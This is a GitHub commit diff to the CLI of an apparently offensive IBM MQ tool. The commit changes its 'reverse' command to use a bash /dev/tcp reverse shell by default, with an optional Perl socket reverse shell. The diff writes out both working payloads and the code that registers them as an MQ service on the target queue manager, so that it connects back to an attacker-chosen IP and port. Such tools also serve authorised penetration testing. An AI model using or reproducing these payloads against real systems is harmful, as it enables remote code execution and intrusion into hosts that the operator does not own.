Skip to content

Commit f5c6397

Browse files
committed
Add and use bash for reverse shells by default.
Also cleanup the generated service from MQ if the executable used does not exist instead of just bailing early.
1 parent 8769df0 commit f5c6397

File tree

1 file changed

+22
-12
lines changed

1 file changed

+22
-12
lines changed

libpunchq/cli.py

Lines changed: 22 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1008,11 +1008,13 @@ def execute(cmd, args, service_name, wait, ignore_path):
10081008
@click.option('--ip', '-i', type=click.STRING, required=True, help='The IP address to connect back to.')
10091009
@click.option('--port', '-p', type=click.INT, required=True, help='The port for the connection back.')
10101010
@click.option('--service-name', '-n', type=click.UNPROCESSED, default=None, help='A service name to use.')
1011+
@click.option('--perl', '-P', type=click.BOOL, is_flag=True, required=False,
1012+
help='Prefer a Perl-based reverse shell over Bash')
10111013
@click.option('--wait', '-w', default=5, show_default=True,
10121014
help='Number of seconds to wait before cleaning up the service.')
1013-
def reverse(ip, port, service_name, wait):
1015+
def reverse(ip, port, service_name, perl, wait):
10141016
"""
1015-
Start a Perl-based reverse shell.
1017+
Start reverse shell.
10161018
10171019
\b
10181020
Examples:
@@ -1026,16 +1028,24 @@ def reverse(ip, port, service_name, wait):
10261028
# Cleanup the service name to remove spaces and dashes and limit to 16 chars
10271029
service_name = str(service_name).replace('-', '').replace(' ', '')[0:16].encode()
10281030

1029-
# raw perl, passed as part of a -e argument
1030-
payload = "use Socket;$i='" + str(ip) + "';$p=" + str(port) + \
1031-
";socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));" \
1032-
"if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');" \
1033-
"open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};"
1031+
# by default we will try and use bash for the reverse shell
1032+
executable = '/usr/bin/bash'
1033+
payload = f'-c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
1034+
1035+
if perl:
1036+
executable = '/usr/bin/perl'
1037+
# raw perl, passed as part of a -e argument
1038+
r_shell = f"use Socket;$i='{ip}';$p={port}" + \
1039+
";socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));" \
1040+
"if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');" \
1041+
"open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};"
1042+
payload = f'-e "{r_shell}"'
10341043

10351044
# information
10361045
click.secho(f'Remote IP: {ip}', dim=True)
10371046
click.secho(f'Remote Port: {port}', dim=True)
1038-
click.secho(f'Raw Reverse Shell: {payload}', dim=True, fg='blue')
1047+
click.secho(f'Executable: {executable}', dim=True, fg='blue')
1048+
click.secho(f'Arguments: {payload}', dim=True, fg='blue')
10391049
click.secho(f'Service Name: {service_name.decode()}\n', dim=True)
10401050

10411051
qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
@@ -1047,8 +1057,8 @@ def reverse(ip, port, service_name, wait):
10471057
pymqi.CMQC.MQCA_SERVICE_NAME: service_name,
10481058
pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL,
10491059
pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND,
1050-
pymqi.CMQC.MQCA_SERVICE_START_COMMAND: '/usr/bin/perl'.encode(),
1051-
pymqi.CMQC.MQCA_SERVICE_START_ARGS: f'-e "{payload}"'.encode(),
1060+
pymqi.CMQC.MQCA_SERVICE_START_COMMAND: executable.encode(),
1061+
pymqi.CMQC.MQCA_SERVICE_START_ARGS: payload.encode(),
10521062
}
10531063
pcf = pymqi.PCFExecute(qmgr)
10541064
pcf.MQCMD_CREATE_SERVICE(args)
@@ -1064,8 +1074,8 @@ def reverse(ip, port, service_name, wait):
10641074

10651075
except pymqi.MQMIError as dme:
10661076
if dme.reason == pymqi.CMQCFC.MQRCCF_PROGRAM_NOT_AVAILABLE:
1067-
click.secho('The program \'/usr/bin/perl\' is not available on the remote system.', fg='red')
1068-
return
1077+
click.secho(f'The program \'{executable}\' is not available on the remote system.', fg='red')
1078+
wait = 0
10691079

10701080
else:
10711081
raise dme

0 commit comments

Comments
 (0)